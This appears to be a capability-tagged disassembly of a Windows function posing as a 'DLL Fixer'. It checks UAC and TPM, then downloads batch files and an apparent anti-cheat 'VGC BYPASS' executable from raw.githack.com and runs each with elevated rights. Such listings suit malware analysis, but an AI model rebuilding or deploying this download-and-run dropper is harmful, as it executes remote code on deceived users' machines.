Function at 0x140001180
Capabilities:
Create process on windows
Download url
Query or enumerate registry value
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 8], rax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n_____________________________________________________________________________________________________n___________________________________________________________________________________________________n______________________________________________________________________________________________n___________________________________________________________________________________________________n_____________________________________________________________________._____.________________n____________________________________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov rcx, rax
lea rdx, [0x140001c00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Checking_UAC_and_TPM_status..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
lea rdx, [0x1400037e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000128c
mov dword [rbp - 0x78], 4
lea rax, [rbp - 0x78]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.EnableLUA
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp - 0x80]
test eax, eax
jne 0x140001286
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp - 0x70], 0
setne r14b
jmp 0x14000128f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r14b, r14b
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionTPM
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001307
mov dword [rbp - 0x70], 4
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.TPMPresent
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp - 0x80]
test eax, eax
jne 0x140001301
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp - 0x78], 0
setne sil
jmp 0x14000130a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor sil, sil
lea r15, str.enabled
lea rdi, str.disabled
mov rbx, rdi
test r14b, r14b
cmovne rbx, r15
lea rdx, str.UAC_is
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov rcx, rax
mov rdx, rbx
call fcn.140001a20
mov rcx, rax
lea rdx, [0x1400037e0]
call fcn.140001a20
test sil, sil
cmovne rdi, r15
lea rdx, str.TPM_is
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov rcx, rax
mov rdx, rdi
call fcn.140001a20
mov rcx, rax
lea rdx, [0x1400037e0]
call fcn.140001a20
test r14b, r14b
jne 0x14000139b
lea rdx, str.Please_enable_UAC._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
test sil, sil
jne 0x1400013b3
lea rdx, str.Please_enable_TPM._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov r9d, 0x40
lea r8, str.Message
lea rdx, str.CMD_Windows_Will_Open__Type_Yes_In_Every_Window_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1c2
mov ecx, 0x2ee
call qword [sym.imp.KERNEL32.dll_Beep]
xorps xmm0, xmm0
lea rax, str.https:__aka.ms_vs_16_release_vc_redist.x64.exe
mov qword [rsp + 0x30], rax
lea rax, str.https:__raw.githack.com_spantawww_New_refs_heads_main_22h2fix.bat
mov qword [rsp + 0x38], rax
lea rax, str.https:__raw.githack.com_spantawww_New_refs_heads_main_ALLFIX.bat
mov qword [rsp + 0x40], rax
lea rax, str.https:__raw.githack.com_spantawww_New_refs_heads_main_VGC_20BYPASS.exe
mov qword [rsp + 0x48], rax
lea rax, str.https:__raw.githack.com_spantawww_New_refs_heads_main_fix_error.bat
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x30]
movdqu xmmword [rbp - 0x68], xmm0
mov ecx, 0x28
call fcn.140001c70
mov r12, rax
mov qword [rbp - 0x68], rax
lea r14, [rax + 0x28]
mov qword [rbp - 0x58], r14
mov r8d, 0x28
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
lea rax, [r12 + 0x28]
mov qword [rbp - 0x60], rax
xorps xmm0, xmm0
lea rax, str.https:__download.microsoft.com_download_1_7_1_1718CCC4_6315_4D8E_9543_8E28A4E18C4C_dxwebsetup.exe
mov qword [rbp - 0x50], rax
lea rax, str.https:__raw.githack.com_spantawww_New_refs_heads_main_ALLFIX_20windows11.bat
mov qword [rbp - 0x48], rax
lea rax, str.https:__raw.githack.com_spantawww_New_refs_heads_main_BSOD_FIX.bat
mov qword [rbp - 0x40], rax
lea rax, str.https:__raw.githack.com_spantawww_New_refs_heads_main_VulnerableDriverFix.bat
mov qword [rbp - 0x38], rax
lea rax, str.https:__raw.githack.com_spantawww_New_refs_heads_main_test.json
mov qword [rbp - 0x30], rax
lea rbx, [rbp - 0x50]
movdqu xmmword [rbp - 0x10], xmm0
mov ecx, 0x28
call fcn.140001c70
mov r13, rax
mov qword [rbp - 0x10], rax
add rax, 0x28
mov qword [rbp], rax
mov r8d, 0x28
mov rdx, rbx
mov rcx, r13
call sub.VCRUNTIME140.dll_memmove
lea r15, [r13 + 0x28]
mov qword [rbp - 8], r15
xorps xmm0, xmm0
lea rax, str.C:WindowsMedia_vcredist_x64.exe
mov qword [rsp + 0x58], rax
lea rax, str.C:WindowsMedia22h2fix.bat
mov qword [rsp + 0x60], rax
lea rax, str.C:WindowsMediaALLFIX.bat
mov qword [rsp + 0x68], rax
lea rax, str.C:WindowsMediaVGC_20BYPASS.exe
mov qword [rsp + 0x70], rax
lea rax, str.C:WindowsMedia_fix_error.batC:WindowsMedia_test.json
mov qword [rsp + 0x78], rax
lea rdi, [rsp + 0x58]
movdqu xmmword [rbp - 0x28], xmm0
mov ecx, 0x28
call fcn.140001c70
mov rbx, rax
mov qword [rbp - 0x28], rax
add rax, 0x28
mov qword [rbp - 0x18], rax
mov r8d, 0x28
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + 0x28]
mov qword [rbp - 0x20], rax
xorps xmm0, xmm0
lea rax, str.C:WindowsMediadxwebsetup.exe
mov qword [rsp + 0x30], rax
lea rax, str.C:WindowsMediaALLFIX_20windows11.bat
mov qword [rsp + 0x38], rax
lea rax, str.C:WindowsMediaBSOD_FIX.bat
mov qword [rsp + 0x40], rax
lea rax, str.C:WindowsMediaVulnerableDriverFix.bat
mov qword [rsp + 0x48], rax
lea rsi, [rsp + 0x30]
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 0
mov ecx, 0x20
call fcn.140001c70
mov rdi, rax
mov qword [rbp - 0x50], rax
add rax, 0x20
mov qword [rbp - 0x40], rax
mov r8d, 0x20
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + 0x20]
mov qword [rbp - 0x48], rax
xor esi, esi
lea rax, [r12 + 0x28]
sub rax, r12
sar rax, 3
mov qword [rbp - 0x70], rax
test rax, rax
je 0x1400016d7
mov rdi, rbx
mov r14, r12
sub r14, rbx
mov r12, rax
nop dword [rax]
nop dword [rax + rax]
lea rbx, [rsi + 1]
mov rsi, rbx
lea rdx, str._DLL_Fix_VC
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140003cf4]
call fcn.140001a20
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, qword [rdi]
mov rdx, qword [r14 + rdi]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140001689
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, qword [rdi]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x1400016be
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Failed__Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400037e0]
call fcn.140001a20
add rdi, 8
cmp rsi, r12
jb 0x140001600
mov r14, qword [rbp - 0x58]
mov r12, qword [rbp - 0x68]
mov rdi, qword [rbp - 0x50]
xor esi, esi
sub r15, r13
sar r15, 3
test r15, r15
je 0x1400017c1
mov rbx, rdi
mov r14, r13
sub r14, rdi
lea rdi, [rsi + 1]
mov rsi, rdi
lea rdx, str._DLL_Fix_DX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140003cf4]
call fcn.140001a20
xor edi, edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, qword [rbx]
mov rdx, qword [rbx + r14]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x14000177b
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, qword [rbx]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x1400017b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.Failed__Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400037e0]
call fcn.140001a20
add rbx, 8
cmp rsi, r15
jb 0x1400016f2
mov r14, qword [rbp - 0x58]
lea rdx, str.Successfully_Installed_DLL_Fixer_Files__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
lea rdx, str.Press_Enter_to_exit...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000183f
lea rax, [rcx + 0x20]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001839
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001839
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001cac
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x140001889
lea rax, [rcx + 0x28]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001883
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001883
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001cac
nop
test r13, r13
je 0x1400018d2
lea rax, [r13 + 0x28]
sub rax, r13
sar rax, 3
lea rdx, [rax*8]
mov rax, r13
cmp rdx, 0x1000
jb 0x1400018c9
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.140001cac
nop
test r12, r12
je 0x140001912
sub r14, r12
and r14, 0xfffffffffffffff8
mov rax, r12
cmp r14, 0x1000
jb 0x140001907
add r14, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001907
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r14
mov rcx, r12
call fcn.140001cac
xor eax, eax
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.140001c50
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret